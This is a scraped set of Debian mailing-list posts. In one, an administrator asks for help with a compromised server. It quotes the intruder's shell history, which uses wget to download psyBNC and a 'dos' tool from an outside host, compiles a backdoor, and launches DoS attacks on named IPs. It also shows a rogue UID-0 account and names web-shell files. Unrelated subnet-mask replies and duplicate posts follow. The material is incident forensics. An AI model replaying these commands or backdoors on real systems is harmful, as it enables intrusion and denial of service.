In a ps I can see a lot of Zombies (rm, ln, readlink, grep) and I've no
idea where they come from.
it's the daily cronjob that stole.
yes, and that's reproducable :(
You think the server got hacked? Are there any other things that can
lead to this? man also behaves strange, it says either "No manual entry
for...", "What manual page do you want?" or nothing.
i'm thinking about a hardware problem.
may the harddrive is in failure (get the ouput of dmesg) or a very big
ram problem that corrupt files on the hard drive.
request_module[net-pf-14]: waitpid(15400,...) failed, errno 1
ptrace uses obsolete (PF_INET,SOCK_PACKET)
eth0: Promiscuous mode enabled.
device eth0 entered promiscuous mode
eth0: Promiscuous mode enabled.
but nothing about the disks
in every case simply copy all the data you can and inspect the hdd in
another box mounting it read only.
setuid.changes lists /dev/* and the following programs:
pppd
postdrop
postqueue
wall
newgrp
at
chage
chfn
chsh
expiry
gpasswd
passwd
write
crontab
dotlockfile
ssh-keysign
procmail
lockfile
popauth
pt_chown
traceroute
mount
umount
login
su
ping
suexec
/usr/lib/mc/bin/cons.saver
and a new user exists in /etc/passwd: slacks:x:0:0::/etc/.rpn:/bin/bash
in /etc/.rpn theres a .bash_history with the following content:
id
mkdir /etc/.rpn
ps -aux
ps -aux | grep tbk
kill -15292 pid
kill 15292
netconf
locate httpd.conf
cd /etc/.rpn
ls -al
wget
cd /var/www/cncmap/www/upload/renegade
ls -al
rm -rf phpshell.php
cat bd.c
gcc -o bd bd.c
ftp ftp.hpg.com.br
rm -rf bd.c
cd /tmp
cd /etc/.rpn
wget www.slacks.hpg.com.br/psyBNC.tar.gz
tar zvxf psyBNC.tar.gz
tar -zvxf psyBNC.tar.gz
tar
gunzip psyBNC.tar.gz
tar -Acdtrux psyBNC.tar.gz
tar -x psyBNC.tar.gz
tar -Acd psyBNC.tar.gz
tar -cd psyBNC.tar.gz
tar --help
pwd
ls
rm -rf *
wget www.slacks.hpg.com.br/bin/dos
chmod +x dos
./dos
./dos 200.101.87.8 65535 8569
./dos 200.199.95.11 65535 8569
and the executable dos
interesting is the line "tar --help" :D
in "last" I see the following:
slacks pts/0Sun Sep 14 02:26 - 03:37 (01:11) 200-147-107-35.tlm.dialuol.com.br
IP of the hacker is 200.147.107.35
I think we have no chance of legal actions against .br?
in the directory /var/www/cncmap/www/upload/renegade there are the
following files: backhole.pl
e.c ("Copyright (c) 2003 DTORS Security, ANGELO ROSIELLO 18/02/2003,
LES-EXPLOIT for Linux x86")
rem.php (phpRemoteView)
so we got hacked :(
what informations should we gather before we reinstall the complete
server? I think we have to reinstall the whole thing or do you have
any ideas?
thanks
Markus
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Strange segmentation faults and Zombies
Hello! I've seen some strange things on my (stable with security-updates) server: the last apt-get update didn't work because gzip segfaultet. I've copied gzip from another server over the version on this server, but it also crashed. Interesting was that the executable was bigger after the segfault. In a ps I can see a lot of Zombies (rm, ln, readlink, grep) and I've no idea where they come from. I thougt I should try chkrootkit downloaded and compiled on an external computer (because on the server there are no development programs) and scp'ed it over. After running I see the following in the ps aux output: root 23029 0.2 0.1 2320 1300 pts/0S18:53 0:00 /bin/sh ./chkrootkit root 23088 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])biff([^A-Za-z0-9_]|$) root 23089 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23093 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23094 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23113 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])chsh([^A-Za-z0-9_]|$) root 23117 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23118 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23119 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23134 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23136 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23150 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23151 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23170 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23171 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23191 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^/bin/.*sh$|bash|elite$|vejeta|\.ark root 23194 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^...s root 23195 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23198 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])echo([^A-Za-z0-9_]|$) root 23203 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23204 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23216 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^...s root 23220 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])egrep([^A-Za-z0-9_]|$) root 23221 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23225 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23226 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23227 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23240 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23245 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^/bin/.*sh$|bash|elite$|vejeta|\.ark root 23258 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23259 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23260 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23261 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23287 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23288 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23299 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23304 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep givemer root 23306 0.0 0.0 1272 412 pts/0S18:53 0:00 /bin/egrep ^...s root 23307 0.0 0.0 1604 308 pts/0T18:53 0:00 /bin/ls -l /bin/grep root 23308 0.0 0.0 00 pts/0Z18:53 0:00 [ls ] root 23309 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23311 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23313 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] As you can see there's a lot of Zombies. That output started when chkrootkit analysed grep (it stopped there and continued only after I removed all processes in T state), then the same with inetd and after that I gave up. You think the server got hacked? Are there any other things that can lead to this? man also behaves strange, it says either "No manual entry for...", "What manual page do you want?" or nothing. regards Markus
Strange segmentation faults and Zombies
Hello! I've seen some strange things on my (stable with security-updates) server: the last apt-get update didn't work because gzip segfaultet. I've copied gzip from another server over the version on this server, but it also crashed. Interesting was that the executable was bigger after the segfault. In a ps I can see a lot of Zombies (rm, ln, readlink, grep) and I've no idea where they come from. I thougt I should try chkrootkit downloaded and compiled on an external computer (because on the server there are no development programs) and scp'ed it over. After running I see the following in the ps aux output: root 23029 0.2 0.1 2320 1300 pts/0S18:53 0:00 /bin/sh ./chkrootkit root 23088 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])biff([^A-Za-z0-9_]|$) root 23089 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23093 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23094 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23113 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])chsh([^A-Za-z0-9_]|$) root 23117 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23118 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23119 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23134 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23136 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23150 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23151 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23170 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23171 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23191 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^/bin/.*sh$|bash|elite$|vejeta|\.ark root 23194 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^...s root 23195 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23198 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])echo([^A-Za-z0-9_]|$) root 23203 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23204 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23216 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^...s root 23220 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep (^|[^A-Za-z0-9_])egrep([^A-Za-z0-9_]|$) root 23221 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23225 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23226 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23227 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23240 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23245 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep ^/bin/.*sh$|bash|elite$|vejeta|\.ark root 23258 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23259 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23260 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23261 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23287 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23288 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23299 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep c root 23304 0.0 0.0 1220 216 pts/0T18:53 0:00 /bin/egrep givemer root 23306 0.0 0.0 1272 412 pts/0S18:53 0:00 /bin/egrep ^...s root 23307 0.0 0.0 1604 308 pts/0T18:53 0:00 /bin/ls -l /bin/grep root 23308 0.0 0.0 00 pts/0Z18:53 0:00 [ls ] root 23309 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23311 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] root 23313 0.0 0.0 00 pts/0Z18:53 0:00 [egrep ] As you can see there's a lot of Zombies. That output started when chkrootkit analysed grep (it stopped there and continued only after I removed all processes in T state), then the same with inetd and after that I gave up. You think the server got hacked? Are there any other things that can lead to this? man also behaves strange, it says either "No manual entry for...", "What manual page do you want?" or nothing. regards Markus -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Re: Blocking sub-range of IP addresses
Bill wrote: Hello Debian, I want to block all ip's ending in 224 to 255 but not 220 and others searching the net I found I need to add "/27" to end of the ip. I understand /8 /16 /24 /32 somewhat but... My question: what makes /27 significant X.Y.Z.224 - X.Y.Z.255 deny from 63.148.99.224/27 Thanks P.s. for example, how would I block only X.Y.Z.23 - X.Y.Z.55 ??? that is / for example if you have a class c network: x.y.z.0-x.y.z.255 you have the following: network-address: x.y.z.0 broadcast-address: x.y.z.255 host-addresses: x.y.z.1-254 subnet-mask: 255.255.255.0 - that is ... - 24 ones. taking your example from above: x.y.z.224 - x.y.z.255: 255-224=31 that is (that are 4 bits and the subnet-mask you need is the complement to the full 32 bits: 28 bits) => x.y.z.224/28 speaking of x.y.z.23 - x.y.z.55: there you have a problem because 23 is no network-address, you can do 16-32+32-64 ord 32-64: x.y.z.16 - x.y.z.31: 31-16 = 15 => 111 => 3 bits: x.y.z.16/29 x.y.z.32 - x.y.z.63: 63-32 = 31 => => 4 bits: x.y.z.32/28 you can try google and "subnet calculator" and probably you will find some helpful javascript or cgi-sites which calculate the numbers above. regards -- \\\ ||| /// _\=/_ ( @ @ )(o o) +oOOo-(_)-oOOo----------oOOo-(_)-oOOo--+ | Markus Schabel TGM - Die Schule der Technik www.tgm.ac.at | | IT-Service A-1200 Wien, Wexstrasse 19-23 net.tgm.ac.at | | [EMAIL PROTECTED] Tel.: +43(1)33126/316 | | [EMAIL PROTECTED] Fax.: +43(1)33126/154 | | FSF Associate Member #597, Linux User #259595 (counter.li.org) | |oOOoYet Another Spam Trap: oOOo | | ()oOOo[EMAIL PROTECTED] ( ) oOOo | +\ (( )--\ ( -( )-+ \_) ) /\_) ) / (_/ (_/ Computers are like airconditioners: They stop working properly if you open windows.
Re: Blocking sub-range of IP addresses
Bill wrote: Hello Debian, I want to block all ip's ending in 224 to 255 but not 220 and others searching the net I found I need to add "/27" to end of the ip. I understand /8 /16 /24 /32 somewhat but... My question: what makes /27 significant X.Y.Z.224 - X.Y.Z.255 deny from 63.148.99.224/27 Thanks P.s. for example, how would I block only X.Y.Z.23 - X.Y.Z.55 ??? that is / for example if you have a class c network: x.y.z.0-x.y.z.255 you have the following: network-address: x.y.z.0 broadcast-address: x.y.z.255 host-addresses: x.y.z.1-254 subnet-mask: 255.255.255.0 - that is ... - 24 ones. taking your example from above: x.y.z.224 - x.y.z.255: 255-224=31 that is (that are 4 bits and the subnet-mask you need is the complement to the full 32 bits: 28 bits) => x.y.z.224/28 speaking of x.y.z.23 - x.y.z.55: there you have a problem because 23 is no network-address, you can do 16-32+32-64 ord 32-64: x.y.z.16 - x.y.z.31: 31-16 = 15 => 111 => 3 bits: x.y.z.16/29 x.y.z.32 - x.y.z.63: 63-32 = 31 => => 4 bits: x.y.z.32/28 you can try google and "subnet calculator" and probably you will find some helpful javascript or cgi-sites which calculate the numbers above. regards -- \\\ ||| /// _\=/_ ( @ @ )(o o) +oOOo-(_)-oOOo----------oOOo-(_)-oOOo--+ | Markus Schabel TGM - Die Schule der Technik www.tgm.ac.at | | IT-Service A-1200 Wien, Wexstrasse 19-23 net.tgm.ac.at | | [EMAIL PROTECTED] Tel.: +43(1)33126/316 | | [EMAIL PROTECTED] Fax.: +43(1)33126/154 | | FSF Associate Member #597, Linux User #259595 (counter.li.org) | |oOOoYet Another Spam Trap: oOOo | | ()oOOo[EMAIL PROTECTED] ( ) oOOo | +\ (( )--\ ( -( )-+ \_) ) /\_) ) / (_/ (_/ Computers are like airconditioners: They stop working properly if you open windows. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
